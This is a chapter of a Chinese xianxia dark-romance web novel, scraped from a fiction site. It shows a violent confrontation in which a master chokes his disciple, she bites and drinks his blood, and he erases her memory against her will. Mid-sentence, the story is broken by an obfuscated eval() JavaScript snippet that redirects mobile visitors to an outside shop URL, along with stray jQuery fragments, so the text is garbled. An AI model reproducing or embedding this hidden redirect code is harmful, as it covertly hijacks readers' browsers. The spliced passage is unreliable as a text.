文趣网 > 其他小说 > 高冷宿敌,但男妈妈 > 46. 对峙
    凌雪回怎么在这里,他什么时候来的,他站在这多久了,他怎么会知道她悄悄过来了……

    问题如潮水般涌来,虞州来不及想,身体先一步快速地动了起来。

    足尖一点,她想要翻越到阁楼内,再顺着她敲开的楼顶逃跑,可修为鸿沟无法逾越,她不过刚刚准备转身,一只手就按住了她。

    啪嗒——

    灯火落地,被一脚踩灭,唯一一点光源消失,虞州双目在瞬间几乎无法视物。

    周遭一片黑暗。

    一句轻叹响起:“你为什么总是不听话。”

    “你要杀了我么?”

    虞州听见自己说。

    她声音很冷静,奇怪,在这一刻,什么愤怒全部消失了,或许是生死在即,于是其他的一切都变得不重要。

    凌雪回没有回答,冰凉的手指覆上了虞州的脖颈,像一条游走的毒蛇般,凉意一点点蔓延。

    他要掐死她。

    虞州想。

    为什么不用剑呢,为什么不用繁霜,她死在繁霜下一次过,再死一次也没什么。

    死亡没什么,她很多年前起就不怕死了,只是如果一定要死,她希望自己能够死在繁霜剑下。

    于是她说:“繁霜呢,怎么不用它杀了我。”

    拢在脖颈间的指骨猛然收紧一瞬,却并不是掐死她的力道,而是有几根手指像要永远融进她骨血般,狠狠地嵌了进去。

    双眼不像刚才一般除了深幽外什么都看不见,她能够微微看见凌雪回的面容轮廓,还有黑暗中,那双唯一有些亮色的眼睛。

    凌雪回头颅垂下,流云般的长发越过肩头,几丝冰凉落在了虞州垂落的手背上。

    “我不会杀你。”

    她听见凌雪回说。

    衣摆交叠。

    虞州仰头,哂笑一声:“差点忘了,还有师徒契呢。”

    有师徒契在,凌雪回没法杀了她。

    唇瓣被人按住,如玉冰凉的指节轻轻压下,不知为何,那道冰凉仿佛直直沁到心脏深处,让她瞬间情绪翻涌。

    她忽然想到阁楼里那道血阵。

    行动快于思考,虞州猛地张口,牙齿狠狠咬下,利齿刺破皮肉,血渍流进口中。

    这是她这辈子第一次,尝到了凌雪回的血。

    是甜的。

    鲜血染得唇瓣殷红,虞州牙齿咬着不肯松,凌雪回也不躲,他甚至上前一步,将手指往虞州喉咙里送的更深了些。

    “喜欢我的血?”他低头,手指从虞州口中勾住她上颚,微微用力,迫使她抬头与他对视。

    热流涌入喉头,虞州听见他低低说了句:“不够。”

    只有血不够。

    她应该吞掉更多。

    吃掉他的肉,拆掉他的骨,将他身体一寸一寸全部吞噬,将他的骨血与她融合。

    只有这样,他们才能永远在一起,无论生死,魂魄都是缠在一起的。

    “阁楼里的阵是做什么的?”

    手指之下的舌在不听话地扭动,她在说话,有些模糊的字节越过他的手往外吐,凌雪回看见了她有些震颤的瞳孔,他垂眸,想要将她眼里的东西看得更清楚些。

    愤怒,怨怼,厌恶……

    还有么?

    虞州对他,还有别的情绪么?

    “回答我!”

    长睫一眨,似乎有一片水光被敛去。

    喉头微微颤抖,凌雪回的手指抵住她上颚,酸胀的喉咙逼得眼底生出薄薄水光,虞州忽然抬手抓住了他的手腕,她恶狠狠地说:“回答我,不然我真的会咬掉你的手指,让你这辈子都不能再拿剑。”

    说出的话语模糊又扭曲,虞州讨厌这样,她讨厌面对凌雪回时失态,这会让她感觉自己低他一头,可她更讨厌她面对凌雪回时缕缕被搅弄得无法控制的情绪。

    她的情绪为什么会被他影响,他凭什么能够这样,而自己却始终泰然自若?

    可牙齿却始终没有真的咬下。

    好奇怪,为什么。

    如果此刻破尘在手,凌雪回引颈就戮,那她一定会毫不犹豫地斩下凌雪回的头颅,她会杀了他,一丝一毫的迟疑都不会有。

    可为什么现在她却不会咬下他的手指,让他这辈子拿不了剑呢?

    她想,是因为她不想胜之不武,她想要的是打败凌雪回,斩断繁霜,然后再杀了他。

    那为什么,眼底会一阵酸胀呢。

    她想哭。

    为什么会这样,为什么面对凌雪回的时候会这样,为什么面对凌雪回的时候总是有这么多为什么。

    她不想哭,她不能哭,她不能在凌雪回面前掉眼泪,这会让她看起来很懦弱,她宁死也不愿懦弱。

    可越这样想,眼前越是模糊。

    直到眼眶再也承接不住这么多的泪水,水渍顺着眼角滑落。

    那一瞬间,她竟然在想。

    杀了我吧。

    她闭上眼睛,逃避般,不愿意看。

    后背被拥住,温和的力道包裹住她,虞州别过脑袋,不愿让凌雪回瞧见,可晶莹的水渍在黑夜中将稀少的光线尽数反射,凌雪回抹掉那一片水迹,忽然拢住了她的脑袋,强迫她与他对视。

    “睁眼。”

    她听见凌雪回说。

    喉咙不受控制地抽了两下,虞州更加用力地闭上了双眼,可凌雪回不依不饶,他将指尖血抹在虞州唇角,开口:

    “晦隐诀,练得如何了?”

    虞州猛然睁开双眼,她再也控制不住自己,肩膀簌簌发抖,她仰头,看着凌雪回,声音几乎是从牙缝中挤出来的:

    “……你说什么?”

    凌雪回垂眸,语气平静到近乎冷漠,他毫不留情地撕开虞州自以为天衣无缝的欺瞒,将虞州毕生中最大的秘密,她宁愿以死守护的秘密残忍地剖露出来:

    “你拜我为师,不就是为了晦隐诀,这么多日了,练得如何了?”

    “你知道什么……你……”她已经控制不住自己的声音,虞州从来不知道,她竟然会有这样扭曲难堪的声音。

    浑身都在抖,她头一次感觉到比死亡还要绝望的东西占领了她的身体,她的心脏,她全部的神魂。

    “你是故意的是不是……你要折磨我,你为什么不杀了我,凌雪回,你杀了我吧……”

    今晚所有被刻意控制到紧绷的情绪在这一刻彻底溃散,所有的理智与清醒全部丧失,虞州平生第一次感受到彻骨绝望。

    她想到阁楼中血阵里的名字,想到凌雪回要镇压她的魂魄,又想到三个月前,虞府中,越过漫天薄雪的那一眼……

    他不如在那一刻就杀了她,碎了她的魂,让她再无转生可能,也好过像如今这样一层一层地剜她的骨。

    她近乎是语无伦次,连自己都不知道自己在说什么,只有嘴巴开开合合,喉咙

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17712616|204744||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    里挤出绝望的声音:

    “你杀了我吧,用繁霜,杀了我,杀……”

    视线陡然被一双琥珀色的眼睛攫取,极度崩溃的精神似乎渐渐变得混沌,她双眼不由自主地放空了,有些发软的身体被一双有力的臂膀承接。

    识海里,一道冷冽的灵力正在缓缓扫过,拂过纷杂画面。

    于是一切崩乱渐渐平息。

    她在哪,她为什么会流泪,她在难过吗,还是在愤怒……

    不、不对。

    记忆,她的记忆正在渐渐消散。

    身体不安地挣动起来,可那双臂膀却将她死死禁锢,耳畔传来低语,似诱似哄:

    “不要动,很快,不会痛。”

    “你不该在现在看见这些,睡一觉吧,都忘掉。”

    不要。她不要忘记!

    她什么都不能忘!

    她用尽最后一丝力气寻找,终于,腰间匕首被拔出,她没有刺向凌雪回,而是朝着自己手掌狠狠刺去——

    她想要刺穿自己的手掌,以疼痛作为锚点抵抗遗忘。

    噗嗤一声,利刃穿透皮肉。

    可预想中的剧痛却没有传来,神魂已经被人完全安抚,她再也没有一点力气,完全瘫软在凌雪回怀中。

    在沉重眼皮合上的前一秒,她用力地看向最后的画面。

    一双如玉如竹的大手被匕首贯穿。

    嗒、嗒、嗒——

    是鲜血落地的声音。

    ……

    人软软地窝在他臂弯中,凌雪回垂眸,看着被贯穿的手掌,面无表情地拔出匕首。

    鲜血四溅。

    掌心血洞骇人,他却无端地想到,那次在西雾林中,季林远受的不也是这样的伤?

    虞州当时是怎么做的。

    她死里逃生捡回一条命,昏迷几天后醒来带着满身伤第一件事就是要下山去找季林远。

    现在轮到他了。

    凌雪回轻轻抚上虞州的脸颊,鲜血毫不吝啬地沾染了她白透的皮肤,又顺着她的脖颈流下。

    如果他没有消除她的记忆的话。

    她也会这样关心他么?

    关心他能不能拿得起剑,关心他伤能不能好全,关心他筋脉有没有损伤……

    他没有再想下去。

    他明知道答案,这样直白的答案,让他连一丝自欺欺人都做不到。

    虞州脸上脖颈上沾满了他的血,凌雪回看着她,黑暗里,双目却毫无阻碍地能够看清全部。

    他低声呢喃:“你还是修了魔道,是么?”

    “我还是来晚了。”

    他近乎自言自语。

    “做魔有什么好的,”他捧住虞州的脸,轻声问,“嗯?为什么两辈子,你都执意要入魔。”

    “你想杀的人我可以替你杀,不修炼也没关系,没有修为也没关系。”

    “为什么一定要走上这条路呢。”

    虞州没能回答她。

    她双目紧闭,凌雪回看着她,许久,终于还是把自己被匕首贯穿的那只手拿开,避免更多的鲜血继续沾在虞州身上。

    他还是受不了虞州闭着眼,身上沾着血的模样。

    会让他想起许多他无能为力的过去。

    怀中那颗饱满的唇瓣被血染得更红,变成了黑暗中唯一夺目的颜色。

    于是凌雪回低下了头。

    舔舐,又或者说,吻住。